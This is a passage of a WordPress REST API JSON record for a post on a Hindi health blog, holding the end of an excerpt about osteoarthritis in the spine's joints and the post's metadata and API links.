\u0913\u0938\u094d\u091f\u093f\u092f\u094b\u0906\u0930\u094d\u0925\u0930\u093e\u0907\u091f\u093f\u0938 \u092d\u0940 \u0939\u094b\u0924\u093e \u0939\u0948, \u092f\u0947 \u0938\u092e\u0938\u094d\u092f\u093e \u0930\u0940\u0922\u093c \u0915\u0947 \u091c\u094b\u0921\u093c \u0915\u094b \u091c\u094b\u0921\u093c\u0928\u0947 \u0935\u093e\u0932\u0940 \u091c\u0949\u0907\u0902\u091f \u092e\u0947\u0902 \u0915\u094d\u0937\u0924\u093f \u0939\u094b\u0928\u0947&#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3081],"tags":[],"_links":{"self":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/9066"}],"collection":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/comments?post=9066"}],"version-history":[{"count":6,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/9066\/revisions"}],"predecessor-version":[{"id":13654,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/9066\/revisions\/13654"}],"wp:attachment":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/media?parent=9066"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/categories?post=9066"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/tags?post=9066"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}